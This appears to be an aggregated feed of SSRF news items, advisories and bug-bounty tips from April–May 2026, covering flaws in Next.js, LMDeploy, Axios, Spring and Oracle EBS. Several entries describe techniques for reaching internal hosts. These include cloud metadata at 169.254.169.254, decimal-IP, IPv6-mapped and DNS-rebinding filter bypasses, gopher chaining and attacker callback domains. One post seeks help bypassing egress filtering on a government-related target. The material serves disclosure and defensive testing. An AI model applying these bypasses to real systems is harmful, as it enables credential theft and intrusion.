| 2026-05-10 2026 | Multiple Critical Flaws Fixed in Next.js and React Server Components news 2 min read | Library patches address critical vulnerabilities in Next.js versions 13.x to 16.x. These include CVE-2026-44575 and CVE-2026-44574, which allow unauthenticated middleware and authentication bypasses through specially crafted URLs and query parameters. Denial of Service (DoS) vulnerabilities, CVE-2026-23870 and CVE-2026-44579, exploit server function deserialization and cache component deadlocks, respectively. Additionally, CVE-2026-44578 enables Server-Side Request Forgery (SSRF) via manipulated WebSocket upgrade requests in self-hosted deployments. Updates to versions 15.5.16 and 16.2.5 are urgently recommended. → gbhackers.com |
| 2026-05-08 2026 | Multiple Critical Vulnerabilities Patched in Next.js and React Server Components news 3 min read | Library patches address critical vulnerabilities in Next.js and React Server Components, including CVE-2026-44575 and CVE-2026-44574 for middleware bypasses, CVE-2026-44573 for SSRF in legacy i18n setups, DoS flaws CVE-2026-23870 and CVE-2026-44579, and a critical SSRF in CVE-2026-44578 affecting self-hosted deployments. Developers must update to versions 15.5.16 or 16.2.5. → cyberpress.org |
| 2026-05-08 2026 | Upwind Security MDR: GitHub Enterprise Server SSRF: CVE-2026-8034 A high-severity SSRF vulnerability in the GitHub Enterprise Server notebook viewer could allow attackers to access internal services via URL parser confusion. #GitHub #SSRF #CVE #CyberSecurity news | Upwind Security MDR reports a high-severity Server-Side Request Forgery (SSRF) vulnerability (CVE-2026-8034) in GitHub Enterprise Server's notebook viewer. This flaw, stemming from URL parser confusion, enables attackers to access internal services. |
| 2026-05-08 2026 | Multiple Critical Vulnerabilities Patched in Next.js and React Server Components news 2 min read | Advisories detail multiple critical vulnerabilities in Next.js and React Server Components, including CVE-2026-23870 (Denial of Service via React Server Components deserialization), CVE-2026-44578 (Server-Side Request Forgery via WebSocket Upgrade Requests), and CVE-2026-44573 (Pages Router i18n Middleware Bypass). Other patched issues include middleware bypass (GHSA-267c-6grr-h53f), cross-site scripting (GHSA-ffhc-5mcf-pf4q), and denial-of-service in the Image Optimization API (GHSA-h64f-5h5j-jqjh). Organizations should upgrade immediately or implement specific mitigations like in-route authorization and network egress restrictions. → cybersecuritynews.com |
| 2026-05-06 2026 | Nitin Gavhane: SSRF and Business Logic flaws create high severity attack chains. Map workflows deeply and test actions that should never be possible. Parallel requests often reveal hidden race conditions. #BugBounty #SSRF #BusinessLogic #WebSecurity intermediate | Nitin Gavhane highlights how Server-Side Request Forgery (SSRF) and business logic vulnerabilities can be chained together to create high-severity attack chains. He advises bug bounty hunters to deeply map application workflows and specifically test actions that should be impossible. Gavhane also notes that using parallel requests can uncover hidden race conditions, a crucial technique for web security testing. |
| 2026-05-05 2026 | Common SSRF targets include webhooks import features and URL previews. Protocols like gopher can be used for deeper service exploitation. Blind SSRF requires creativity and observation of side effects. #BugBounty #BugHunting #SSRF #InfoSec intermediate | Common SSRF targets include webhooks import features and URL previews. Protocols like gopher can be used for deeper service exploitation. Blind SSRF requires creativity and observation of side effects... |
| 2026-05-05 2026 | Chetan Biranje: AppSec Tip #6 SSRF Making servers attack themselves. How to test: Find URL input fields Point to 127.0.0.1 Try 169.254.169.254 (cloud metadata) Server responds? = SSRF Fix: Whitelist allowed URLs Block internal IP ranges #AppSec #BugBounty #SSRF beginner | Chetan Biranje: 🔐 AppSec Tip #6 SSRF — Making servers attack themselves. How to test: → Find URL input fields → Point to 127.0.0.1 → Try 169.254.169.254 (cloud metadata) → Server responds? = SSRF ✅ Fi... |
| 2026-05-04 2026 | Real world SSRF often leads to IAM credential exposure. Even blind SSRF can prove impact through timing or external callbacks. Strong reports with clear business impact increase payout chances. #BugBounty #InfoSec #SSRF #CyberSecurity intermediate | Real world SSRF often leads to IAM credential exposure. Even blind SSRF can prove impact through timing or external callbacks. Strong reports with clear business impact increase payout chances. #BugBo... |
| 2026-05-04 2026 | SSRF can be chained into advanced exploitation paths. Examples include Redis command injection internal file access and remote code execution. Blind SSRF can be detected using timing or out of band techniques. #BugBounty #EthicalHacking #SSRF #InfoSec intermediate | SSRF can be chained into advanced exploitation paths. Examples include Redis command injection internal file access and remote code execution. Blind SSRF can be detected using timing or out of band te... |
| 2026-05-02 2026 | Oxygen Theme WP =6.0.8: Unauth SSRF in laborator_calc_route AJAX. No URL validation hit cloud metadata or internals. CVSS 7.2. Patch it. #SSRF #WordPress #DevSecOps #CVE #infosec #developers Info: news | Oxygen Theme WP =6.0.8: Unauth SSRF in laborator_calc_route AJAX. No URL validation, hit cloud metadata or internals. CVSS 7.2. Patch it. #SSRF #WordPress #DevSecOps #CVE #infosec #developers Info: ht... |
| 2026-05-02 2026 | SSRF: It allows the server to make requests to internal networks and cloud metadata. Look for features like image fetchers webhooks PDF generators and URL previews. Test by replacing URLs with your Interactsh domain to detect callbacks. #BugBounty #SSRF #EthicalHacking pic. beginner | SSRF: It allows the server to make requests to internal networks and cloud metadata. Look for features like image fetchers webhooks PDF generators and URL previews. Test by replacing URLs with your In... |
| 2026-05-02 2026 | Advanced SSRF exploitation techniques are explained in detailed guides. They include bypass methods and cloud metadata attacks. Read #BugBounty #SSRF #CyberSecurity #Research intermediate | Advanced SSRF exploitation techniques are explained in detailed guides. They include bypass methods and cloud metadata attacks. Read #BugBounty #SSRF #CyberSecurity #Research https://ift.tt/flbmEPv |
| 2026-05-02 2026 | Advanced SSRF requires bypass techniques like IPv6 and redirect chains. Cloud metadata access remains a high impact target. AI systems introduce new vulnerabilities like prompt injection. #BugBounty #SSRF #AISecurity #CyberSecurity intermediate | Advanced SSRF requires bypass techniques like IPv6 and redirect chains. Cloud metadata access remains a high impact target. AI systems introduce new vulnerabilities like prompt injection. #BugBounty #... |
| 2026-05-02 2026 | Advanced SSRF bypass techniques include decimal IP encoding and hexadecimal formats. DNS rebinding and parser differences can bypass filters effectively. Protocols like gopher enable deeper exploitation scenarios. #BugBounty #SSRF #CyberSecurity #Hacking advanced | Advanced SSRF bypass techniques include decimal IP encoding and hexadecimal formats. DNS rebinding and parser differences can bypass filters effectively. Protocols like gopher enable deeper exploitati... |
| 2026-05-01 2026 | SSRF combined with cloud metadata access leads to high impact vulnerabilities. AWS metadata endpoints expose temporary credentials for IAM roles. These credentials can lead to full cloud compromise if exploited. #BugBounty #CloudSecurity #SSRF #CyberSecurity advanced | SSRF combined with cloud metadata access leads to high impact vulnerabilities. AWS metadata endpoints expose temporary credentials for IAM roles. These credentials can lead to full cloud compromise ... |
| 2026-05-01 2026 | How Escape AI Pentesting Exploited SSRF in LiteLLM intermediate 8 min read | Writeup detailing SSRF vulnerabilities in LiteLLM, specifically highlighting three sinks found by Escape AI pentesting. The first sink, a blind SSRF via the `/v1/rag/ingest` endpoint, is exploitable by any authenticated user, allowing access to loopback and cloud-metadata addresses without destination validation. The second sink, found in `/search_tools/test_connection`, bypasses a previously implemented security gate by nesting `api_base` within `litellm_params`, enabling SSRF for admin users. The third sink, `/health/test_connection`, also requires admin privileges and demonstrates full-read SSRF through a similar nested `api_base` parameter. → securityboulevard.com |
| 2026-04-29 2026 | Nginx-UI SSRF (GHSA-wr32-99hh-6f35) CVSS 8.5 Authenticated users can access internal services & metadata endpoints potential RCE chain. #SSRF #CVE news | Nginx-UI is vulnerable to a critical Server-Side Request Forgery (SSRF) vulnerability (GHSA-wr32-99hh-6f35) with a CVSS score of 8.5. Authenticated users can exploit this flaw to access internal services and metadata endpoints. This could potentially lead to a Remote Code Execution (RCE) chain. |
| 2026-04-29 2026 | CVE-2026-33626: Critical SSRF Vulnerability in LMDeploy Rapidly Exploited in the Wild Technical Analysis and Mitigation Guide news 5 min read | Analysis of CVE-2026-33626 details a critical Server-Side Request Forgery (SSRF) vulnerability in LMDeploy, exploited rapidly in the wild. This flaw, affecting versions up to 0.12.0 with vision-language support, allows attackers to fetch arbitrary URLs, leading to the exfiltration of cloud metadata, probing of internal services like Redis and MySQL, and network reconnaissance. Exploitation attempts utilized callback infrastructure such as cw2mhnbd.requestrepo.com, originating from IP 103.116.72.119. Mitigation involves upgrading LMDeploy, enforcing IMDSv2, restricting egress, and implementing runtime detection of suspicious outbound connections. → rescana.com |
| 2026-04-28 2026 | Already cycled through 400 vectors. Looking for a wizard to bypass this response filtering or pivot via OOB exfiltration. #BugBounty #InfoSec #SSRF #RedTeam #CyberSecurity intermediate | A security researcher is seeking assistance with a bug bounty challenge, having exhausted over 400 vectors to bypass response filtering or achieve Out-of-Band (OOB) exfiltration. They are looking for an expert ("wizard") to help crack this particular vulnerability. The post is tagged with #BugBounty, #InfoSec, #SSRF, #RedTeam, and #CyberSecurity, indicating the context of a bug bounty program and the nature of the security testing involved. No specific payout amount is mentioned. |
| 2026-04-28 2026 | To be clear: this is a "gov-related" scope. I strictly follow the program's terms and will not disclose anything further publicly. I am only seeking assistance to find an optimal bypass for the response filtering. #BugBounty #InfoSec #SSRF #CyberSecurity intermediate | A cybersecurity professional is seeking help within a bug bounty program focused on a government-related scope. They emphasize adherence to program terms and will not publicly disclose details. Their primary objective is to find an optimal bypass for response filtering, suggesting a focus on Server-Side Request Forgery (SSRF) vulnerabilities. No payout amount is mentioned. |
| 2026-04-28 2026 | SSRF Hunter Challenge | ive got a 100% functional Open SSRF on a high-value target. WAF bypassed via Decimal IP encoding but i'm hitting a wall: the response body is strictly filtered/stripped by egress inspection.#BugBounty #InfoSec #SSRF #RedTeam #CyberSecurity intermediate | A security researcher has achieved a functional Open SSRF on a high-value target, successfully bypassing WAF using Decimal IP encoding. However, they are facing a challenge as the response body is heavily filtered by egress inspection. The researcher shared this experience as part of an #SSRF Hunter Challenge on social media, seeking solutions or insights from the #BugBounty and #InfoSec communities. No payout amount was specified. |
| 2026-04-27 2026 | Old but gold. #SSRF = #LFD intermediate | This content highlights a security vulnerability where Server-Side Request Forgery (SSRF) can be exploited to achieve Local File Disclosure (LFD). The accompanying link likely details a specific instance or method of this combined attack. No bug bounty payout amount is mentioned. |
| 2026-04-27 2026 | NEW THREAT INTEL: LMDeploy SSRF (CVE-2026-33626) - Unauth SSRF in load_image() coerces AI inference servers to fetch arbitrary URLs. Exploited 13h after disclosure. 9 detections 18 IOCs. #ThreatIntel #CyberSecurity #SSRF #AISecurity pic. news | A critical Server-Side Request Forgery (SSRF) vulnerability, CVE-2026-33626, has been discovered in LMDeploy's `load_image()` function. This vulnerability allows unauthenticated attackers to force AI inference servers to fetch arbitrary URLs, posing a significant security risk. The exploit was observed in the wild just 13 hours after its disclosure, indicating its severity and immediate impact. Security teams have identified 9 detections and 18 Indicators of Compromise (IOCs) related to this threat. |
| 2026-04-27 2026 | If an app fetched PDFs via ?url= classic SSRF setup. Bypass? Enumerate internal PDF subdomains. Swap the file ID other users' docs. SSRF IDOR chained. #bugbounty #SSRF intermediate | This bug bounty report details a chained SSRF (Server-Side Request Forgery) and IDOR (Insecure Direct Object Reference) vulnerability. The flaw arises when an application fetches PDFs using a `?url=` parameter, a common SSRF setup. Attackers can potentially bypass security measures to enumerate internal PDF subdomains. By manipulating the file ID, they can access documents belonging to other users. This combination of SSRF and IDOR creates a significant security risk. |
| 2026-04-26 2026 | A critical LMDeploy SSRF vulnerability exploitation campaign launched under 13 hours after disclosure. #SSRF #CVE #AIsecurity #LLMsecurity #Sysdig #ActiveExploitation #CloudSecurity #GenAI #InfoSec pic. news | A critical Server-Side Request Forgery (SSRF) vulnerability in LMDeploy was actively exploited within 13 hours of its disclosure. This indicates a rapid threat response by attackers, highlighting the immediate risks associated with newly revealed vulnerabilities in AI and LLM security. The exploitation underscores the importance of swift patching and security measures in cloud and AI environments. |
| 2026-04-24 2026 | LMDeploy SSRF alert CVE-2026-33626 exploited within hours Attackers can access internal services & cloud metadata. Update now & restrict outbound requests.vulert.com/blog/lmdeploy-p #CyberSecurity #SSRF #AIsecurity #Vulert news | 🚨 LMDeploy SSRF alert CVE-2026-33626 exploited within hours ⚠️ Attackers can access internal services & cloud metadata. Update now & restrict outbound requests.vulert.com/blog/lmdeploy-…p #CyberSecuri... |
| 2026-04-24 2026 | LMDeploy CVE-2026-33626 Flaw Exploited Within 13 Hours of Disclosure news 3 min read | Library that facilitates the deployment and serving of large language models, LMDeploy, is vulnerable to CVE-2026-33626, a high-severity Server-Side Request Forgery (SSRF) flaw. This vulnerability, discovered by Igor Stepansky and observed being exploited by Sysdig within 13 hours of disclosure, allows attackers to fetch arbitrary URLs via the `load_image()` function in `lmdeploy/vl/utils.py`. Exploitation can lead to accessing cloud metadata services, internal networks, sensitive data, and port scanning of internal systems, as demonstrated by active attempts against AWS IMDS and Redis. → thehackernews.com |
| 2026-04-23 2026 | Attackers Exploit LMDeploy Flaw in the Wild Within 12 Hours of Advisory news 2 min read | Writeup on CVE-2026-33626, a critical SSRF vulnerability in LMDeploy's vision-language module, exploited in the wild within 12 hours of its April 21, 2026 advisory. The flaw, stemming from an unvalidated `load_image()` function, allows attackers to fetch arbitrary internal URLs, including cloud metadata services and local databases, without requiring proof-of-concept code. Exploitation attempts targeted AWS IMDS for credentials and confirmed open Redis ports, demonstrating the risks to AI inference servers with broad cloud permissions. → gbhackers.com |
| 2026-04-23 2026 | CVE-2026-33626 exposes an SSRF in LMDeploys vision-language image loader. Attackers accessed AWS IMDS scanned local services and confirmed egress within 12 hours. Update to v0.12.3 and enforce IMDSv2. #LMDeploy #SSRF #USA ift.tt/PVn3XMk news | CVE-2026-33626 exposes an SSRF in LMDeploy’s vision-language image loader. Attackers accessed AWS IMDS, scanned local services, and confirmed egress within 12 hours. Update to v0.12.3 and enforce IMDS... |
| 2026-04-23 2026 | CVE-2026-33626: A critical SSRF in LMDeploy exploited in under 13 hours. Learn how attackers hijack AI nodes and how to secure your inference cloud now. #CVE202633626 #SSRF #AISecurity #LMDeploy #InfoSec #CyberAttack #CloudSecurity #LLM #PatchNow securityonline.info/cve-2026-33626 pic.x.com/09IZxf21rQ news | CVE-2026-33626: A critical SSRF in LMDeploy exploited in under 13 hours. Learn how attackers hijack AI nodes and how to secure your inference cloud now. #CVE202633626 #SSRF #AISecurity #LMDeploy #Info... |
| 2026-04-22 2026 | Critical Spring Authorization Server Issue Exposes Systems to XSS and SSRF Attacks news 2 min read | Writeup of CVE-2026-22752 in Spring Security Authorization Server, detailing how insufficient validation of client metadata in Dynamic Client Registration endpoints allows Stored XSS and SSRF attacks. The vulnerability, exploitable with low privileges, affects specific versions of Spring Security and Spring Authorization Server. Administrators are urged to upgrade to patched versions or disable Dynamic Client Registration as a temporary mitigation. → gbhackers.com |
| 2026-04-22 2026 | Critical Spring Authorization Server Flaw Enables XSS Privilege Escalation and SSRF news 2 min read | Vulnerability CVE-2026-22752 in Spring Authorization Server, specifically affecting deployments with Dynamic Client Registration enabled, allows attackers to register malicious OAuth clients. This flaw can lead to stored XSS, privilege escalation, and SSRF attacks by exploiting improperly validated client metadata, with a high CVSS score indicating significant remote exploitability and impact. Affected versions include Spring Security 7.0.0-7.0.4 and Spring Authorization Server 1.3.0-1.3.10, 1.4.0-1.4.9, and 1.5.0-1.5.6. → cyberpress.org |
| 2026-04-22 2026 | LibreChat SSRF Bypass via IPv6 Mapped Address Confusion intermediate 2 min read | Writeup of CVE-2026-31943 in LibreChat details a Server-Side Request Forgery bypass where authenticated users can exploit the `isPrivateIP()` function's failure to detect hex-normalized IPv4-mapped IPv6 addresses. This allows the LibreChat server to send HTTP requests to internal network resources, including cloud metadata services and loopback addresses, undermining SSRF protections. Versions prior to 0.8.3 are affected. → thehackerwire.com |
| 2026-04-22 2026 | SSRF Vulnerability: Bypassing Protection with DNS Rebinding Attack intermediate 3 min read | Writeup detailing CVE-2025-69660, a Server-Side Request Forgery (SSRF) vulnerability in simstudioai/sim's proxy and file parsing APIs. The writeup explains how this SSRF could be bypassed using a DNS rebinding attack, specifically by exploiting a time-of-check-to-time-of-use (TOCTOU) vulnerability. It further details the fix implemented by the development team, DNS pinning, which resolves hostnames to IP addresses once to prevent subsequent malicious rebinding. |
| 2026-04-22 2026 | is-localhost-ip 2.0.0 SSRF via Restrictions Bypass (CVE-2025-9960) news 2 min read | Library is-localhost-ip 2.0.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability due to a bypass of its localhost restrictions. The library misclassifies IPv6-mapped IPv4 addresses like ::ffff:127.0.0.1 and certain private/link-local IP ranges as localhost, incorrectly expanding the trust boundary. This allows attackers to target internal services by crafting requests that exploit these misclassifications, as documented in CVE-2025-9960. |
| 2026-04-22 2026 | See-SURF: Tool to Find Potential Vulnerable SSRF Parameters beginner 3 min read | Tool for detecting Server-Side Request Forgery (SSRF) vulnerabilities. See-SURF automates reconnaissance by crawling web applications, parsing Burp Suite sitemaps, and identifying potential SSRF parameters using regex. It incorporates AI-powered validation with providers like Google Gemini and OpenAI for context-aware payload generation and exploitation of services such as AWS Metadata. For blind SSRF, it leverages Out-of-Band (OOB) detection via Webhook.site or custom domains. |
| 2026-04-22 2026 | Hacking Next.js Targets: Advanced SSRF Exploitation Guide advanced 6 min read | Guide detailing advanced Server-Side Request Forgery (SSRF) vulnerabilities in Next.js applications. It covers exploitation techniques targeting the Image component, Next.js Middleware (CVE-2025-57822), and Server Actions (CVE-2024-34351). The guide highlights how misconfigurations in these features can lead to arbitrary outbound requests and potential data leakage or remote code execution. → intigriti.com |
| 2026-04-22 2026 | Catflix CTF: Exploiting SSRFs in Next.js Middleware intermediate 5 min read | Walkthrough of CVE-2025-57822 in Next.js Middleware, chaining SSRF to RCE via Jenkins. This article details exploiting a misconfiguration in Next.js middleware that allows processing of the `Location` header to perform server-side requests. The SSRF is then escalated by identifying an open Jenkins instance on port 8080, enabling command execution through its Groovy Script console to retrieve sensitive files, demonstrating a practical vulnerability exploitation chain. → intigriti.com |
| 2026-04-22 2026 | SSRF Guard Bypass via Full-Form IPv4-Mapped IPv6 Literal intermediate | Library advisory detailing an SSRF protection bypass vulnerability in OpenClaw's `ssrf.ts` component. Versions up to `2026.2.13` are affected by CWE-918, where full-form IPv4-mapped IPv6 literals like `0:0:0:0:0:ffff:7f00:1` bypassed loopback and private network blocking. A fix is available in versions `2026.2.14` and later, addressed by commit `c0c0e0f9aecb913e738742f73e091f2f72d39a19`. |
| 2026-04-22 2026 | Next.js Improper Middleware Redirect Handling Leads to SSRF (CVE-2025-57822) news | Library update addressing CVE-2025-57822 in Next.js Middleware, where improper handling of request headers passed to `NextResponse.next()` could lead to Server-Side Request Forgery (SSRF) in self-hosted applications. Versions v14.2.32 and v15.4.7 resolve this vulnerability by preventing sensitive headers from being reflected back in responses. Users with custom middleware in self-hosted environments should upgrade and verify `next()` function usage. |
| 2026-04-22 2026 | Craft CMS Cloud Metadata SSRF Protection Bypass via IPv6 Resolution intermediate 3 min read | Advisory detailing a bypass of Craft CMS's GraphQL SSRF protection. The vulnerability, a bypass of CVE-2025-68437 (GHSA-x27p-wfqw-hfcc), occurs because `gethostbyname()` only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, failing the blocklist comparison. This allows attackers with GraphQL schema permissions to steal AWS credentials by targeting the AWS IMDS IPv6 endpoint via crafted URLs. |
| 2026-04-22 2026 | Axios Unrestricted Cloud Metadata Exfiltration via Header Injection Chain (CVE-2026-40175) news 2 min read | Library vulnerability CVE-2026-40175 in Axios allows unrestricted cloud metadata exfiltration via header injection. By leveraging prototype pollution in other dependencies, attackers can trick Axios into sending CRLF-injected headers, enabling request smuggling and bypassing AWS IMDSv2 for credential theft. This critical vulnerability, affecting all versions, arises from a lack of HTTP header sanitization combined with default SSRF capabilities, with potential impacts including authentication bypass and cache poisoning. |
| 2026-04-19 2026 | CVE-2025-61882 Explained: The Oracle Zero-Day Breach news 9 min read | Analysis of CVE-2025-61882, an Oracle EBS zero-day exploited by Cl0p for unauthenticated remote code execution and data theft. The attack chain involves SSRF, CRLF injection, header smuggling, unsafe XSLT processing via BI Publisher, and privilege escalation. This vulnerability, with a CVSS score of 9.8, allowed Cl0p to bypass perimeter controls and exfiltrate sensitive ERP data from numerous enterprises before Oracle released an emergency patch. |
| 2026-04-19 2026 | Oracle EBS CVE-2025-61882: Pre-auth SSRF Leads to RCE news 3 min read | Writeup detailing Oracle EBS CVE-2025-61882, a critical pre-authentication RCE vulnerability affecting versions 12.2.3 through 12.2.14. The exploit chain leverages Server-Side Request Forgery (SSRF), CRLF injection, authentication bypass, and unsafe XSLT processing to achieve unauthenticated code execution. The vulnerability, actively exploited by groups like Cl0p, allows attackers to chain SSRF with CRLF injection and path traversal to reach internal services and execute arbitrary code via malicious XSL stylesheets. → picussecurity.com |
| 2026-04-19 2026 | Oracle EBS Under Fire as Cl0p Exploits CVE-2025-61882 news 4 min read | Library detailing exploitation of CVE-2025-61882, a critical Oracle E-Business Suite vulnerability, by the Cl0p threat actor for remote code execution. The entry outlines the attack workflow involving XSL payload delivery via a malicious server, Netcat listeners, and specially crafted HTTP requests to `/OA_HTML/SyncServlet` and `/OA_HTML/RF.jsp`. It also highlights a sophisticated chain involving Server-Side Request Forgery (SSRF) and Carriage Return/Line Feed (CRLF) Injection to load untrusted XSLT templates, enabling arbitrary code execution. → thehackernews.com |
| 2026-04-19 2026 | Oracle E-Business Suite Zero-Day Exploited — Google Cloud news 12 min read | Library of techniques and analysis detailing exploitation of Oracle E-Business Suite (EBS) by the CL0P extortion group. The campaign, which may have leveraged CVE-2025-61882 as a zero-day, involved mass exploitation of vulnerabilities, including Server-Side Request Forgery (SSRF), Carriage-Return Line-Feed (CRLF) injection, authentication bypass, and XSL template injection, leading to remote code execution. The analysis covers intrusion activity preceding the extortion emails, the multi-stage Java implant framework, and provides indicators of compromise for defenders. → cloud.google.com |
| 2026-04-19 2026 | Server-Side Request Forgery (SSRF) — Practical Guide beginner | Server-Side Request Forgery (SSRF) — Practical Guide |
| 2026-04-18 2026 | Funny how the more you fuck around the more you find out. Do you see an id? mess around with it can't find the private ip where the http client is running? send a nonexistent host to leak it an enum from there #bugbountytips #SSRF pic.x.com/t0HhOXupGQ intermediate | Funny how the more you fuck around, the more you find out. Do you see an id? mess around with it, can't find the private ip where the http client is running? send a nonexistent host to leak it an enum... |
| 2026-04-17 2026 | Profile picture upload SSRF Port scan Unauthenticated admin panel Mass PII disclosure. The simplest entry points often hide the biggest impact. medium.com/@sagardhoot56/ #bugbounty #hacking #ssrf #ethicalhacking #infosec intermediate | Profile picture upload → SSRF → Port scan → Unauthenticated admin panel → Mass PII disclosure. The simplest entry points often hide the biggest impact. medium.com/@sagardhoot56/… #bugbounty #hacking #... |
| 2026-04-17 2026 | Angular patches a critical 8.7 SSRF flaw in @angular/platform-server. Attackers can hijack SSR origins via URL normalization. Patch v19 v20 or v21 now! #Angular #CyberSecurity #SSRF #WebDev #InfoSec #SSR #VulnerabilityAlert securityonline.info/angular-platfo pic.x.com/8EAUEBNxnf news | Angular patches a critical 8.7 SSRF flaw in @angular/platform-server. Attackers can hijack SSR origins via URL normalization. Patch v19, v20, or v21 now! #Angular #CyberSecurity #SSRF #WebDev #InfoSec... |
| 2026-04-16 2026 | Bypassing SSRF Filters Using r3dir intermediate 4 min read | Tool for bypassing SSRF filters, r3dir, enables attackers to craft malicious requests by controlling redirection targets, response status codes, and HTTP methods. It supports CORS preflight requests for headless browsers and integrates with BurpSuite via Hackvertor tags. The service can bypass weak allowlist filters and URL scheme limitations, and can manipulate HTTP methods from POST to GET using redirect status codes like 301, 302, and 303. |
| 2026-04-16 2026 | The Limitations of Secure SSRF Patches: Advanced Bypasses advanced 18 min read | Library that analyzes Server-Side Request Forgery (SSRF) bypass techniques, demonstrating how common patches like prefix allowlisting and basic hostname validation fail against crafted payloads. It highlights vulnerabilities exemplified by the ChatGPT-Next-Web case, where naive checks for `https://trusted.com` were bypassed using `@` notation or subdomain tricks like `api.mycompany.com.evil.org`. The library emphasizes the need for defense-in-depth beyond superficial checks to prevent attackers from accessing internal networks or cloud instance metadata. |
| 2026-04-16 2026 | DNS Rebinding Attacks Against SSRF Protections intermediate 5 min read | Library for detecting and exploiting DNS rebinding vulnerabilities that bypass SSRF protections. It details how applications resolve hostnames once to validate IPs against blocklists or allowlists, and then resolve again to make the actual HTTP request. This Time-of-Check to Time-of-Use (TOCTOU) flaw allows attackers to control DNS responses, redirecting requests from public IPs to sensitive internal endpoints like AWS IMDS (169.254.169.254) or internal APIs. The library covers techniques and tools like rbndr.us and whonow for setting up controllable DNS servers with zero TTL, and discusses fixes such as resolving once and connecting directly to the IP, using egress proxies like Smokescreen, or implementing network-level controls. |
| 2026-04-16 2026 | Cloud Metadata Dictionary Useful for SSRF Testing intermediate | Cloud Metadata Dictionary Useful for SSRF Testing |
| 2026-04-16 2026 | PayloadsAllTheThings: Server Side Request Forgery beginner 7 min read Bug Bounty | Library for Server Side Request Forgery (SSRF) vulnerabilities, detailing methodologies and bypass techniques. It covers bypassing localhost via IPv6 notation, domain redirects, CIDR, rare addresses, encoded IPs, and DNS rebinding. The library highlights exploitation via URL schemes like `jar:` and `gopher://`, blind exploitation, and offers tools such as `SSRFmap`, `Gopherus`, `See-SURF`, `SSRF-Sheriff`, `surf`, `ipfuscator`, and `r3dir` for testing and exploitation. |
| 2026-04-16 2026 | Cloud SSRF Exploitation intermediate | Cloud SSRF Exploitation |
| 2026-04-16 2026 | Learning SSRF for Fun and Bounties beginner | Learning SSRF for Fun and Bounties |
| 2026-04-16 2026 | SSRF Vulnerability on Major Gaming Company (Wiz Bug Bounty) news | Writeup detailing a real-world SSRF vulnerability discovered at a major gaming company. The challenge involves exploiting a content service that fetches resources from provided URLs to access internal cloud infrastructure and sensitive credentials. Attackers aim to trick the server into making unintended requests, thereby reaching hidden internal resources and extracting a flag. → wiz.io |
| 2026-04-16 2026 | Five Bounties, One Bug: Exploiting the Same SSRF via Five Unique Techniques advanced | Five Bounties, One Bug: Exploiting the Same SSRF via Five Unique Techniques |
| 2026-04-16 2026 | CRITICAL VULNERABILITY (CVSS 10.0) in Axios JS library! CVE-2026-40175 is an SSRF flaw that can lead to RCE and full cloud compromise. PoC is public. If you use Axios update to v1.13.2 NOW! #SupplyChain #RCE #SSRF cyber.netsecops.io/articles/critisvm news | 🚨 CRITICAL VULNERABILITY (CVSS 10.0) in Axios JS library! CVE-2026-40175 is an SSRF flaw that can lead to RCE and full cloud compromise. PoC is public. If you use Axios, update to v1.13.2 NOW! 🌐 #Supp... |
| 2026-04-15 2026 | Most hunters skip SSRF because "it's hard to find." That's exactly why it pays. Look for: URL/IP params Webhooks & PDF generators Anything the server fetches The server becomes your proxy. Internal infra = your target. Hunt smarter. #BugBounty #SSRFpic.x.com/W1hHTiDo5CC beginner | Most hunters skip SSRF because "it's hard to find." That's exactly why it pays. Look for: → URL/IP params → Webhooks & PDF generators → Anything the server fetches The server becomes your proxy. Inter... |
| 2026-04-15 2026 | Inside PostHog: How SSRF a ClickHouse SQL Escaping 0day and Default PostgreSQL Credentials Formed an RCE Chain (ZDI-25-099 ZDI-25-097 ZDI-25-096) #PostHog #RCEChain #SSRF #SQLInjection #Zeroday mehmetince.net/inside-posthog advanced | Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain (ZDI-25-099, ZDI-25-097, ZDI-25-096) #PostHog #RCEChain #SSRF #SQLInjection #Zeroday me... |
| 2026-04-15 2026 | 6/6 Key takeaways: - Screenshot/render services = SSRF launchers - window.env in public JS = internal network map - Visual SSRF needs no text reflection measure the image size - Always escalate to internal hostnames not just localhost #BugBounty #SSRF #InfoSec #WebSecurity intermediate | 6/6 Key takeaways: - Screenshot/render services = SSRF launchers - window.env in public JS = internal network map - Visual SSRF needs no text reflection — measure the image size - Always escalate to i... |
| 2026-04-14 2026 | Found SSRF vulnerability allowed to access admin panel and delete user account. StockAPI Burp Intruder Admin URL Deleted user account (carlos) #SSRF #WebSecurityAcademy #Portswigger #Lab #Vulnerability pic.x.com/EiIMQEUyxQ intermediate | Found SSRF vulnerability allowed to access admin panel and delete user account. StockAPI Burp Intruder Admin URL Deleted user account (carlos) #SSRF #WebSecurityAcademy #Portswigger #Lab #Vulnerab... |
| 2026-04-14 2026 | Axios CVE-2025-62718 allows a critical NO_PROXY bypass via hostname normalization errors. Protect your internal network from SSRFpatch or normalize today! #AxiosVulnerability #CyberSecurity #SSRF #InfoSec #NodeJS #WebDev securityonline.info/axios-no-proxy pic.x.com/U8wtJItO2r news | Axios CVE-2025-62718 allows a critical NO_PROXY bypass via hostname normalization errors. Protect your internal network from SSRF—patch or normalize today! #AxiosVulnerability #CyberSecurity #SSRF #In... |
| 2026-04-13 2026 | Warning: Critical Path Traversal in the OpenAPIProvider in #FastMCP. CVE-2026-32871 CVSS(4.0): 10. The vulnerability results to an authenticated #SSRF. github.com/advisories/GHS #Patch #Patch #Patch news | Warning: Critical Path Traversal in the OpenAPIProvider in #FastMCP. CVE-2026-32871 CVSS(4.0): 10. The vulnerability results to an authenticated #SSRF. github.com/advisories/GHS… #Patch #Patch #Patch ... |
| 2026-04-12 2026 | Flowise is affected by a Server-Side Request Forgery (SSRF) vulnerability (CVE-2026-31829) in its HTTP Node potentially allowing internal network access. Investigate network segmentation and outbound request filtering. #Flowise #SSRF #infosec pulsepatch.io/posts/cve-2026 news | `Flowise` is affected by a Server-Side Request Forgery (SSRF) vulnerability (CVE-2026-31829) in its HTTP Node, potentially allowing internal network access. Investigate network segmentation and outbou... |
| 2026-04-11 2026 | A NO_PROXY hostname normalization bypass (CVE-2025-62718) in Axios could lead to SSRF. Implement strict input validation and monitor for patches. #Axios #SSRF #infosec pulsepatch.io/posts/cve-2025 news | A NO_PROXY hostname normalization bypass (CVE-2025-62718) in `Axios` could lead to SSRF. Implement strict input validation and monitor for patches. #Axios #SSRF #infosec pulsepatch.io/posts/cve-2025… ... |
